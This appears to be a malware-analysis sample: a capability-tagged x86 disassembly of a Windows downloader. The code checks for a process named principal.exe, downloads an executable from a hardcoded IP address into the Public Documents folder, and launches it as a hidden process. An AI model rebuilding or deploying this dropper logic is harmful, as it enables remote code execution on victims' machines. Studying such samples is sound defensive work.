Function at 0x401460
Capabilities:
Create http request
Create process on windows
Download and write a file
Enumerate processes
Get session user name
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x7bc
mov dword [esp + 4], 0
mov dword [esp], 2
mov dword [esp + 0x3b0], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov ebp, eax
lea ebx, [esp + 0x3b0]
mov dword [esp], eax
mov dword [esp + 4], ebx
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
jne 0x4014c3
jmp 0x401500
mov dword [esp + 4], ebx
mov dword [esp], ebp
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
je 0x401500
lea esi, [esp + 0x3d4]
mov ecx, 0xe
mov edi, str.principal.exe
repe cmpsb byte [esi], byte es:[edi]
jne 0x4014b0
mov dword [esp], ebp
call sub.KERNEL32.dll_CloseHandle
push eax
mov dword [esp + 4], str.principal.exe
mov dword [esp], str.O_processo__s_est_em_execuo._n
call sub.msvcrt.dll_printf
add esp, 0x7bc
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebp
call sub.KERNEL32.dll_CloseHandle
push eax
mov dword [esp + 4], str.principal.exe
mov dword [esp], str.O_processo__s_no_est_em_execuo._n
call sub.msvcrt.dll_printf
lea eax, [esp + 0x48]
mov dword [esp + 0x48], 0x104
mov dword [esp + 4], eax
lea eax, [esp + 0xa4]
mov dword [esp], eax
call sub.ADVAPI32.DLL_GetUserNameA
push eax
push eax
lea esi, [esp + 0x1a8]
mov dword [esp + 0xc], str.principal
mov dword [esp + 8], str.C:UsersPublicDocuments_s.exe
mov dword [esp + 4], 0x104
mov dword [esp], esi
call fcn.00403f70
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.MyApp
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
mov dword [esp + 0x3c], eax
je 0x4017ab
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.http:__45.40.96.209_admin_download_cHJpbmNpcGFsLmV4ZQ_bmVv
mov dword [esp], eax
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
mov ebp, eax
je 0x40176a
mov dword [esp + 4], 0x40b187
mov dword [esp], esi
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x4017df
mov dword [esp + 0x2ac], 0
lea esi, [esp + 0x2ac]
jmp 0x401633
mov eax, dword [esp + 0x2ac]
test eax, eax
je 0x401652
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_fwrite
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x400
mov dword [esp + 4], ebx
mov dword [esp], ebp
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
jne 0x401610
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], ebp
call sub.WININET.DLL_InternetCloseHandle
push edi
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
push ebp
lea eax, [esp + 0x4c]
mov dword [esp], esi
mov dword [esp + 0x4c], 0x104
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_GetUserNameA
test eax, eax
push ecx
push ecx
je 0x401748
mov dword [esp + 0xc], str.principal
mov dword [esp + 8], str.C:UsersPublicDocuments_s.exe
lea edi, [esp + 0x60]
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call fcn.00403f70
xor eax, eax
mov ecx, 0x11
rep stosd dword es:[edi], eax
lea eax, [esp + 0x50]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x60]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp + 0x20], eax
mov dword [esp], 0
mov dword [esp + 0x60], 0x44
mov dword [esp + 0x8c], 1
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
test eax, eax
je 0x401759
mov eax, dword [esp + 0x50]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
push eax
mov eax, dword [esp + 0x54]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
push edx
jmp 0x4014f5
mov dword [esp], str.Erro_ao_obter_o_nome_de_usurio_atual.
call sub.msvcrt.dll_puts
jmp 0x4014f5
mov dword [esp], str.Erro_ao_criar_o_processo_oculto.
call sub.msvcrt.dll_puts
jmp 0x4014f5
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x2a
mov dword [esp + 4], 1
mov dword [esp], str.Erro_ao_abrir_a_solicitao_de_internet_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
push eax
lea esi, [esp + 0x2ac]
jmp 0x401670
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x24
lea esi, [esp + 0x2ac]
mov dword [esp + 4], 1
mov dword [esp], str.Erro_ao_abrir_a_sesso_de_internet_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
jmp 0x401670
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x2b
mov dword [esp + 4], 1
mov dword [esp], str.Erro_ao_abrir_o_arquivo_local_para_escrita_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov dword [esp], ebp
call sub.WININET.DLL_InternetCloseHandle
push eax
jmp 0x401792